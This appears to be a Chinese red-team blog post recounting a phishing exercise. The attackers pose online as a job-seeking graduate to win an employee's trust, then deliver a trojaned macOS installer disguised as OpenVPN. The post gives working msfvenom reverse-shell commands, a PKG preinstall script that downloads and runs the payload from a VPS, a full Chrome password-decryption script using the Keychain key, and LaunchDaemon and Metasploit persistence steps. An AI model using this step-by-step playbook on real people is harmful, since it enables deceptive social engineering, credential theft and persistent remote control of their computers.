红队实录系列(二)-从 Mac 钓鱼到拿下核心权限
2022-11-28 20:20:24 Author: 实战攻防(查看原文) 阅读量:13 收藏

前言

攻防对抗强度和难度日益演进,传统的渗透测试思路成本逐渐提高,钓鱼已经成为当下攻击者最常用攻击手段之一。在某次针对某企业的攻防演练中,攻击队成员伪装成初入社会的求职女大学生,成功骗取目标单位某员工的信任,在攻击者的引导下,多次在企业内网下载和运行木马,为攻击人员制造了大量的攻击机会,最终击穿目标多种网络防护,获得生产网控制权。
在对抗前期,通过对目标的情报侦察,发现目标单位互联网资产较少,但在脉脉、招聘软件等职场交流平台上有大量目标单位员工活跃,通过观察目标群体的活动记录、社交信息等,攻击队制定了如下社工钓鱼的思路:
(1)伪装为求职的应届毕业生针对特定职位钓鱼;
(2)伪装为其他厂商HR对特定员工进行钓鱼;
求职相关的钓鱼方式往往较为简单直接,HR等职业群体本身工作性质就需要经常与陌生人沟通并建立联系,且经常需要收发简历等文件,因此往往警戒心较弱。大部分人本身是很善良的,因此伪装为求职等应届生或已经拿到Offer准备入职的未来新同事,员工往往会放松警惕,热心的为其提供大量帮助,甚至无意间透露一些敏感信息,在“成为好朋友”的过程中,也往往容易步入陷阱运行木马,再利用其本身正式员工的高可信属性和社交网进行二次钓鱼,往往能收获到极好的效果。另外在脉脉、招聘网站等平台,往往可以搜索到目标人员的职位、能力等信息,可以更方便的定位关键人员,如关键系统开发、运维、管理等相关职位,以精准的斩首行动减小攻击影响,减短攻击路径,最大化的扩大攻击战果。
通过在脉脉平台职场圈收集情报,发现多个目标单位员工,经过层层筛选,最终得到几位社交较为活跃的人员作为我们的目标,如某位具有多年工作经验的技术经理:

该目标在脉脉平台活跃度很高,经常发表工作相关的评论,经常在工作相关话题下答疑,活跃、热心、工作经验丰富且是技术岗位经理级别,因此成为攻击队头号钓鱼目标。使用伪造的脉脉身份,装作是计划入职的新员工与对方建立联系,在日常聊天中,逐步建立信任,获取对方微信等联系方式,并寻找时机发送木马诱使对方下载和安装伪装成简历的木马:

但忽略了一点是,目标公司开发团队使用的为 MacOS 系统,以往的攻防经历中制作的木马都是针对Windows和Linux系统的,因此需要制作一款针对Mac操作系统的木马。在后续持续性沟通中发现该员工是Java技术栈,因此推测在办公机器上一定存在 Java 环境,制作木马的方式就使用 Java 客户端的方式进行上线。在MacOS上,常见的可执行程序安装包分为两种 DMG、PKG,在 PKG 中可以由开发者嵌入任意的可执行脚本文件,并且直接能申请使用 root 权限。于是后续攻击尝试使用 PKG 格式的后门进行木马传递。

PKG后门制作阶段

2.1

环境准备

Mac终端一台、VPS一个(安装msf作为C2服务器)、WhiteBox - Packages(Mac系统pkg安装包制作工具 http://s.sudre.free.fr/Software/Packages/about.html)。

2.2

制作过程

因为目标系统安装了java,所以这里生成了一个jar的马子。

msfvenom -p java/meterpreter/reverse_tcp LHOST=vps LPORT=48356 -f jar > spring-core.jar

上线脚本(此脚本的目的是绑定在pkg文件中,这样pkg脚本一旦执行,上线脚本也会执行。这个脚本也可以填写cs的crossC2的curl命令,只不过最后上线的是CS)。

#!/bin/bash/bin/bash -c "nohup curl  http://vps:48472/spring-core.jar -o spring-core.jar ;java -jar spring-core.jar &"

接下来需要准备一个合适的APP本体,这里可以理解成捆绑的主文件,也就是发送给目标时,目标看到的程序,这里选择了OpenVPN。

下载pkg制作工具:WhiteBox - Packageshttp://s.sudre.free.fr/Software/Packages/about.html)

下载后打开,选择第一个模式:

起一个名字,需要注意的是,安装包打开后的应用名就是这里的名字,这里起了个比较有欺骗性的名字SecretVPN.

该部分为全局配置:

setting中的选项基本不用动,Presentation选项卡是安装过程中各步骤的文本之类的内容,可自行定制。


  • 注意,这里会产生一个坑点,以及最后设置preinstall.sh时,会有同样的问题,即打包时可能报错。

把Presentation中引用的文本文件以及preinstall.sh,都放置到项目文件夹内即可。或者以root权限启动WhiteBox - Packages

接下来开始进行项目设置。点击左侧项目名,进入项目设置。On Success是可以设置一些安装完成后的动作,系统支持的比较少,这里可以不设置,或结合自身需求设置。

Options中的Require admin password for installtion选项,勾选后安装过程会请求输入用户密码。勾选此项木马上线时为root权限。

放入App本体:将本机Applactions目录下的真实App拖入该界面虚拟目录Applactions中,表示安装后该App将会被安装到/Applactions目录。

这里是正常的OpenVPN安装完之后是一个文件夹+一个快捷方式的形式,其他大部分应用比较常见的应该还是只有一个软件包的比较多。总之就是,抄袭的目标应用安装完成后Application目录有什么,就在Packages虚拟目录里放什么。

接下里进入最终环节,植入上线脚本:

pkg木马关键之处在于Scirpt可以指定脚本,Preinstall.sh将会在安装开始前执行,Postinstall.sh将会在安装完成后执行。如果将两个地方都指定为上线脚本,安装一次将会收到两个反弹shell。

2.3

成功上线

在前期在微信上做了大量沟通之后,目标员工已经对我方伪装的身份拥有了足够的信任,并且每天都主动和我们进行聊天交谈,我方见时机已经足够成熟,于是将pkg程序发送给目标后,目标点击后成功上线。

这里可以看到当输入shell时候并不会成功,解决方法就是cd到一个目录后再执行如下:

浏览器密码抓取

在获取目标权限之后,需要对目标进行信息收集最常见收集的信息就包括浏览器账号密码,IM聊天记录等,目标使用的是Chrome浏览器,解密Chrome浏览器密码需要两个条件,第一就是 Login Data,第二就是 Login Data 的加密密钥。我们知道Chrome浏览器是将密码信息存储在 Login Data 中,所以可以使用C2提前将Login Data下载到本地,但是该文件会被加密,需要用到钥匙串中的密钥,使用下面的命令即可获取。

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

在运行上述命令时会弹窗提醒,介于大多数人的对于Mac的使用习惯都会输入密码。当然我们的目标也不例外。成功获取到key:

于是通过下面py脚本在本地即可获取信息,(也可以在目标电脑上直接使用,但是使用时将key和user替换成目标的信息即可):

import sqlite3, os, binascii, subprocess, base64, sys, hashlib, glob
loginData = glob.glob("%s/Library/Application Support/Google/Chrome/Profile*/Login Data" % os.path.expanduser("~"))if len(loginData) == 0: loginData = glob.glob("%s/Library/Application Support/Google/Chrome/Default/Login Data" % os.path.expanduser("~")) #attempt default profilesafeStorageKey = subprocess.check_output("security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'", shell=True).replace("\n", "").replace("\"", "")print(safeStorageKey)if safeStorageKey == "": print "ERROR getting Chrome Safe Storage Key" sys.exit()
def chromeDecrypt(encrypted_value, iv, key=None): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively) hexKey = binascii.hexlify(key) hexEncPassword = base64.b64encode(encrypted_value[3:]) try: #send any error messages to /dev/null to prevent screen bloating up decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hexKey, hexEncPassword), shell=True) except Exception as e: decrypted = "ERROR retrieving password" return decrypted
def chromeProcess(safeStorageKey, loginData): iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm key = hashlib.pbkdf2_hmac('sha1', safeStorageKey, b'saltysalt', 1003)[:16] fd = os.open(loginData, os.O_RDONLY) #open as read only database = sqlite3.connect('/dev/fd/%d' % fd) os.close(fd) sql = 'select username_value, password_value, origin_url from logins' decryptedList = [] with database: for user, encryptedPass, url in database.execute(sql): if user == "" or (encryptedPass[:3] != b'v10'): #user will be empty if they have selected "never" store password continue else: urlUserPassDecrypted = (url.encode('ascii', 'ignore'), user.encode('ascii', 'ignore'), chromeDecrypt(encryptedPass, iv, key=key).encode('ascii', 'ignore')) decryptedList.append(urlUserPassDecrypted) return decryptedListprint(chromeProcess("key","/Users/user/Library/Application Support/Google/Chrome/Default/Login Data"))

获取浏览器密码成功。

在保存的密码中就包括 DevOps 平台管理员密码, 内网4A系统管理员密码,利用这些系统即可获取到核心权限。

权限维持

通过钓鱼上线的目标是一定一定要做权限维持的。这里因为笔者的截图不在了,所以就不放截图了,主要介绍两种方式,会将相关命令贴给大家。

4.1

手动权限维持

其实就是通过mac自带的任务计划plist来进行维持,只不过mac下的语法不大一样,需要自行学习,将下面内容保存成/Library/LaunchDaemons/com.ali.plist 每两分钟弹一次计算器(实战中更改<string>值为你要执行的后门即可)。

#通过编写plist文件来实现任务计划<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict>    <key>Label</key>    <string>com.apple.config</string>    <key>ProgramArguments</key>    <array>        <string>open</string>        <string>-a</string>        <string>calculator</string>    </array>    <key>StartInterval</key>    <dict>        <key>Minute</key>        <integer>2</integer>    </dict>    <key>KeepAlive</key>    <true/>    <key>OnDemand</key>    <true/>    <key>RunAtLoad</key>    <true/>    <key>StandardOutPath</key>    <string>/tmp/water.log</string>    <key>StandardErrorPath</key>    <string>/tmp/water.err</string></dict></plist>

plist相关命令:

#plitil命令验证编写的list是否正确plutil   com.sougo.Managers.list#执行任务launchctl start  *.list#停止任务launchctl stop   *.list#卸载任务launchctl unload          *.list# 加载任务, -w选项会将plist文件中无效的key覆盖掉,建议加上launchctl load -w *plist# 删除任务launchctl unload -w *.plist# 查看任务列表, 使用 grep '任务部分名字' 过滤launchctl list | grep 'com.apple.config'

4.2

MSF自动化维持

可以看到通过mac自带的任务计划进行权限维持比较麻烦,msf提供了一个关于mac的权限维持的模块,这个模块和上面的方式原理是一样的。

msf > use exploit/osx/local/persistence --直接use这个模块msf > set RUn_NOW truemsf > set session sessionIdmsf > set payload msf > expliot --会返回一个回话,此时mac任务计划已经做好了 msf > use exliot/multi/hander msf > set payload osx/x64/meterpreter/reverse_tcpmsf > set lhost vps-ipmsf > set lport 1-65535 msf > exploit

参考文章

https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/osx/local/persistence

https://payloads.online/archivers/2021-11-23/1/

https://www.jianshu.com/p/b65c1d339eec

https://xz.aliyun.com/t/10528#toc-7

(chunn1&[email protected]边界无限烛龙实验室供稿

招聘信息

边界无限烛龙实验室

专注于漏洞挖掘、渗透技术等攻防技术研究于突破,从底层原理深入到一线实战对抗逐层铺开技术研究,深入解构攻与防的本质。团队核心成员来自于知名云厂商的各大安全实验室,拥有丰富的攻防对抗的工作经验,多次在国家、省级攻防演练中名列前茅。曾挖掘过 Google、微软、腾讯、阿里等国际知名厂商的安全漏洞并提供相关安全建议,同时团队成员研究成果在Defcon、ZeroNight、HITB等国际知名安全会议进行演示。

简历投递邮箱:
[email protected]

文章来源: http://mp.weixin.qq.com/s?__biz=MzkzNjM5MDYwNw==&mid=2247483762&idx=1&sn=f9e17dc971624e1a0f82ca721c28558f&chksm=c29e3bd2f5e9b2c44e3cbc8549098b37dade242ee8ca866922bbaa788b273c43132a9d317843#rd
如有侵权请联系:admin#unsafe.sh